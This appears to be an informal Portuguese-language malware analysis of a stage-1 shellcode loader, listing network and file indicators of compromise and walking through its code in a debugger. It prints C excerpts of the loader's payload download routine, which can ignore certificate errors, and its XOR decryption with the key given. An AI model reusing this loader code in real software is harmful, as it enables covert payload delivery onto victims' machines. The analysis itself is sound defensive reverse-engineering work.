
Análise para o carregador de shellcode do estágio 1 de hacking
Fluxograma do código
IoC de rede
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC de infecção (arquivos dropados)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok, então que diabos. Vamos nessa. Loader.sln ou loader.c
ok, então a inicialização e da inicialização para asm? o que acontece em asm? shellcode pic (position independent code). legal, e o que isso faz? basicamente vai chamar Loader(0xdeadbeef). Por quê?? não sei por que escolheram esse endereço, mas nesse endereço deveria estar o código desempacotado. de qualquer forma, vamos continuar e ver o que acontece no debugger. Correção: fazemos Loader(eax), e eax é um endereço IP com um arquivo .dat .png)
Agora, se seguirmos o fluxo, entramos no loader

Por enquanto vamos pular a LoadVtable, pois ela é ubíqua e grande, e retornaremos a ela depois de terminarmos de analisar o restante de suas capacidades. Agora vamos inspecionar DownloadAndDecryptTls.
DownloadAndDecryptTls

Agora, uma coisa interessante que notei durante a depuração.
É que, como você pode ver na imagem acima e no trecho a seguir
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
é que lpLoaderConfig é recuperado dinamicamente. mas de onde? bem, aparentemente ele baixa ou usa internamente aquele arquivo .dat? e o que é esse arquivo .dat. Inspecionando o arquivo
vemos outro arquivo legal, shellcode_0x95d. Se o inspecionarmos no hxd
você verá um monte de chamadas de API e aquela url. então basicamente este é o shellcode real :) maneiro, vamos dar uma olhada nele depois que terminarmos com isso.
Agora, apenas para depois, a xor key é 0x6281f17f. Agora, uma breve análise até o ponto de interesse ValidateCa. Até lá, nada realmente especial acontece nessa função; a coisa mais interessante é a chamada a InternetOpenA, que inicializa a dll para coisas de rede. Seria legal inspecioná-la dinamicamente para ver um truque que fizeram. Eles fazem isso em código C por
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
que é um argumento a menos para a API. De qualquer forma, chega de conversa, vamos ver o que acontece no código.
Então, no debugger, fica assim
Então, acho que o que acontece aqui é que, por usar INTERNET_OPEN_TYPE_PRECONFIG, ele usa a estrutura pré-configurada e lptable já tem a url nela.
De qualquer forma, em seguida temos ValidateCA
então, de qualquer forma, por que fazemos isso? porque simplesmente determina se quer fazer https ou http.
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Depois fazemos uma simples requisição GET e então baixamos o arquivo via http. Nada muito sofisticado aqui. Se você está se perguntando se há algo especial no código aqui, acho que não; provavelmente você pode encontrar exemplos na internet de como fazer isso. Como a função DownloadFile baixa arquivos? Usando InternetReadFileExA.
Então, de qualquer forma, aqui está o código
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
Agora vamos inspecionar a verificação do if da descriptografia para ver se entra na função de descriptografia ou não. Com base nas minhas suposições ao experimentar, bXored será true, então devemos entrar na função de descriptografia. Infelizmente, nossa suposição estava errada porque
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
não conseguiremos enviar uma requisição para aquele servidor malicioso. Eu poderia emular um servidor com Frida, mas para quê, já que temos o payload nós mesmos. Agora só resta desmontá-lo e decidir se está criptografado ou não. A descriptografia também se parece com
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
que é um xor de 2 chaves e dwXorkey é 0x6281f17f.
Agora, de volta à função Loader para resolver a última parte do loader.
